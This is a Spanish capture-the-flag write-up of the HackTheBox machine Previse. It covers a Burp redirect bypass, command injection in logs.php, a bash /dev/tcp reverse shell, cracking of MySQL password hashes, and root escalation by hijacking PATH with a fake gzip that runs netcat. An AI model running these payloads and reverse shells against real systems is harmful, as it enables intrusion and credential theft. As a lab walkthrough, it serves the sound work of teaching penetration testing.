Previse es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Previse 10.10.11.104 a /etc/hosts como previse.htb y comenzamos con el escaneo de puertos nmap.
En este caso, y después de varias pruebas, estaban bastante filtrados los puertos, por lo que mostramos aquí sólo un escaneo que muestra aquellos puertos concretos que se descubrieron
1 2 3 4 5 6 7 8 9 10 |
# Nmap 7.70 scan initiated Thu Dec 23 09:19:12 2021 as: nmap -sSV -p 22,80 -Pn -T4 -oA enumeration/nmap 10.10.11.105 Nmap scan report for horizontall.htb (10.10.11.105) Host is up. PORT STATE SERVICE VERSION 22/tcp filtered ssh 80/tcp filtered http Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Dec 23 09:19:15 2021 -- 1 IP address (1 host up) scanned in 2.70 seconds |
Enumeracion
Observamos un posible portal web en el puerto 80, que tiene el siguiente aspecto
Revisamos la página, código fuente, hacemos alguna pruebeta pero nada así que vamos a enumerar directorios a ver que sacamos
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
$ gobuster dir -u http://previse.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -s "200,301,302,401" -x php,txt -t 100 =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://previse.htb/ [+] Threads: 100 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes: 200,301,302,401 [+] User Agent: gobuster/3.0.1 [+] Extensions: php,txt [+] Timeout: 10s =============================================================== 2021/12/23 08:49:23 Starting gobuster =============================================================== /download.php (Status: 302) /login.php (Status: 200) /files.php (Status: 302) /index.php (Status: 302) /nav.php (Status: 200) /header.php (Status: 200) /footer.php (Status: 200) /css (Status: 301) /status.php (Status: 302) /js (Status: 301) /logout.php (Status: 302) /accounts.php (Status: 302) /config.php (Status: 200) /logs.php (Status: 302) =============================================================== 2021/12/23 08:55:28 Finished =============================================================== |
Viendo las posibilidades vamos a tratar de obtener más información, accedemos a nav.php y vemos que hay un fichero más que no ha salido en el anterior escaneo en la ruta file_logs.php
Y bajo el nombre de LOG DATA en el menú, que puede ser interesante para después.
Después de revisar un poco el portal con los ficheros descubiertos, parece que vamos a necesitar obtener unas credenciales o, tratar de saltarnos ese login, para poder continuar así que usaremos la magia de Burp.
Para ello el objetivo será interceptar la petición al acceder al fichero de /accounts.php y modificar el código de respuesta 302 por un 200 para conseguir saltar la restricción y acceder a la página de creación de cuentas sin tener los permisos apropiados.
Lo primero de todo, si no lo teníamos ya creado, será crear una regla en burp que permita realizar esta acción, para ello desde el panel de burp necesitaremos hacer varias cosas.
En primer lugar marcar la siguiente casilla
-
Proxy -> Options -> Intercept Server Responses -> Check box (Intercept responses based on the following rules)
Una vez marcado el checkbox, bajamos a la sección “Match and Replace” y añadimos una regla con los datos que vemos en la imagen
Ahora que ya lo tenemos podemos interceptar la petición en burp para poder acceder a la página de accounts y crear una cuenta
Una vez creada nuestra cuenta, y para poder realizar todas las acciones necesarias, borramos las cookies de sesión del navegador y accedemos con las credenciales creadas.
Navegamos por el portal y encontramos un fichero de backup en el mismo que descargaremos
Si revisamos el contenido del mismo observaremos dos cosas interesantes. La primera, unas credenciales de mysql en el fichero config.php
1 2 3 4 5 6 7 8 9 10 11 12 |
<?php function connectDB(){ $host = 'localhost'; $user = 'root'; $passwd = 'mySQL_p@ssw0rd!:)'; $db = 'previse'; $mycon = new mysqli($host, $user, $passwd, $db); return $mycon; } ?> |
Y la segunda una vulnerabilidad en el código del fichero logs.php, concretamente en la siguiente línea
1 |
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}"); |
Donde se observa que ejecuta lo que venga sin realizar ningún filtrado del mismo, por lo que puede ayudarnos en el siguiente paso.
Para ello, nos vamos a la sección de management para ver como funciona realmente
Y en la sección de log_data podemos descargar el log con formato csv viendo el siguiente resultado
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
time,user,fileID 1622482496,m4lwhere,4 1622485614,m4lwhere,4 1622486215,m4lwhere,4 1622486218,m4lwhere,1 1622486221,m4lwhere,1 1622678056,m4lwhere,5 1622678059,m4lwhere,6 1622679247,m4lwhere,1 1622680894,m4lwhere,5 1622708567,m4lwhere,4 1622708573,m4lwhere,4 1622708579,m4lwhere,5 1622710159,m4lwhere,4 1622712633,m4lwhere,4 1622715674,m4lwhere,24 1622715842,m4lwhere,23 1623197471,m4lwhere,25 1623200269,m4lwhere,25 1623236411,m4lwhere,23 1623236571,m4lwhere,26 1623238675,m4lwhere,23 1623238684,m4lwhere,23 1623978778,m4lwhere,32 1640247863,bytemind,32 |
En el fichero anteiror observamos el listado de identificadores de ficheros que se han ido subiendo, y el funcionamiento del portal, así que con el fallo descubierto antes en el código vamos a tratar de lanzar un RCE en la máquina aprovechando la función exec con la siguiente url
1 |
http://previse.htb/logs.php?delim=comma%26curl+10.10.14.3+4444 |
Y si verificamos nuestra escucha, hemos obtenido la salida del curl en la misma
1 2 3 4 5 6 7 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.3] from previse.htb [10.10.11.104] 49934 GET / HTTP/1.1 Host: 10.10.14.3:4444 User-Agent: curl/7.58.0 Accept: */* |
Así que hemos conseguido verificar que es vulnerable a RCE, el siguiente paso será conseguir acceso a la máquina, lanzamos una reverse shell
1 |
%26/bin/bash+-c+'bash+-i+>+/dev/tcp/10.10.14.3/4444+0>%261' |
Y conseguimos acceso con el usuario www-data en nuestra escucha
1 2 3 4 5 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.3] from previse.htb [10.10.11.104] 49978 id uid=33(www-data) gid=33(www-data) groups=33(www-data) |
No disponemos de una tty así que cargamos una con python
1 2 |
python -c 'import pty;pty.spawn("/bin/bash");' www-data@previse:/var/www/html$ |
Con las credenciales obtenidas antes del mysql, vamos a ver si podemos conseguir algo de la base de datos, y observamos una tabla con las credenciales de los usuarios en la base de datos de previse
1 2 3 4 5 6 7 8 9 |
mysql> select * from accounts; select * from accounts; +----+----------+------------------------------------+---------------------+ | id | username | password | created_at | +----+----------+------------------------------------+---------------------+ | 1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 | | 2 | bytemind | $1$🧂llol$wzYjWk/p5usz8BzxvPrXs1 | 2021-12-23 08:18:50 | +----+----------+------------------------------------+---------------------+ 2 rows in set (0.00 sec) |
En la que vemos que está el usuario m4lwhere, además del nuestro, pero con la clave cifrada. Utilizaremos hashcat, en nuestro caso, para tratar de descifrar la misma
1 |
$ hashcat -a 0 -m 500 m4lwhere /usr/share/wordlists/rockyou.txt --force |
Y, una vez lo hemos conseguido, accederemos por ssh con el usuario
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
$ ssh m4lwhere@previse.htb The authenticity of host 'previse.htb (10.10.11.104)' can't be established. ECDSA key fingerprint is SHA256:rr7ooHUgwdLomHhLfZXMaTHltfiWVR7FJAe2R7Yp5LQ. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'previse.htb,10.10.11.104' (ECDSA) to the list of known hosts. m4lwhere@previse.htb's password: Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-151-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Thu Dec 23 09:15:42 UTC 2021 System load: 0.0 Processes: 174 Usage of /: 51.7% of 4.85GB Users logged in: 0 Memory usage: 27% IP address for eth0: 10.10.11.104 Swap usage: 0% 0 updates can be applied immediately. Last login: Fri Jun 18 01:09:10 2021 from 10.10.10.5 m4lwhere@previse:~$ id uid=1000(m4lwhere) gid=1000(m4lwhere) groups=1000(m4lwhere) |
Obteniendo la flag de user
Ahora que ya estamos dentro con el usuario sólo nos queda recoger la flag de su home
1 2 3 4 5 6 |
m4lwhere@previse:~$ ls -l total 4 -r-------- 1 m4lwhere m4lwhere 33 Dec 23 07:22 user.txt m4lwhere@previse:~$ cat user.txt fxxxxxxxxxxxxxxxxxxxxxxxxxxxxx1 m4lwhere@previse:~$ |
Escalado de privilegios
Una vez obtenida la primera flag, revisamos en primer lugar los permisos del usuario m4lwhere
1 2 3 4 |
m4lwhere@previse:~$ sudo -l [sudo] password for m4lwhere: User m4lwhere may run the following commands on previse: (root) /opt/scripts/access_backup.sh |
Y vemos que tiene permisos para ejecutar el script access_backup.sh como root, cuyo contenido es el siguiente
1 2 3 4 5 6 7 8 9 |
#!/bin/bash # We always make sure to store logs, we take security SERIOUSLY here # I know I shouldnt run this as root but I cant figure it out programmatically on my account # This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz |
Aquí vemos un error, y es que no está indicando las rutas de los binarios que está utilizando como gzip o date por lo que podemos aprovecharlo para cargar binarios nuestros con los que conseguir acceso como root.
Revisamos en primer lugar que rutas carga en la variable PATH
1 2 |
m4lwhere@previse:/opt/scripts$ echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin |
Utilizamos una ruta en la cual tengamos permisos, puede ser cualquiera, pero en nuestro caso lo hemos guardado sobre /dev/shm y generamos nuestro binario
1 |
m4lwhere@previse:/dev/shm$ echo "nc 10.10.14.3 4444 -e /bin/bash" > gzip |
Le damos permisos y actualizamos la variable PATH
1 2 |
m4lwhere@previse:/dev/shm$ chmod 755 gzip m4lwhere@previse:/dev/shm$ export PATH=/dev/shm:$PATH |
Y ejecutamos el script
1 |
m4lwhere@previse:/dev/shm$ sudo /opt/scripts/access_backup.sh |
Obteniendo la flag de root
Y, una vez ejecutado con nuestro binario, conseguimos acceso como root en nuestra escucha y la flag del mismo
1 2 3 4 5 6 7 |
$nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.3] from previse.htb [10.10.11.104] 50576 id uid=0(root) gid=0(root) groups=0(root) cat /root/root.txt axxxxxxxxxxxxxxxxxxxxxxxxxxxxxx9 |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace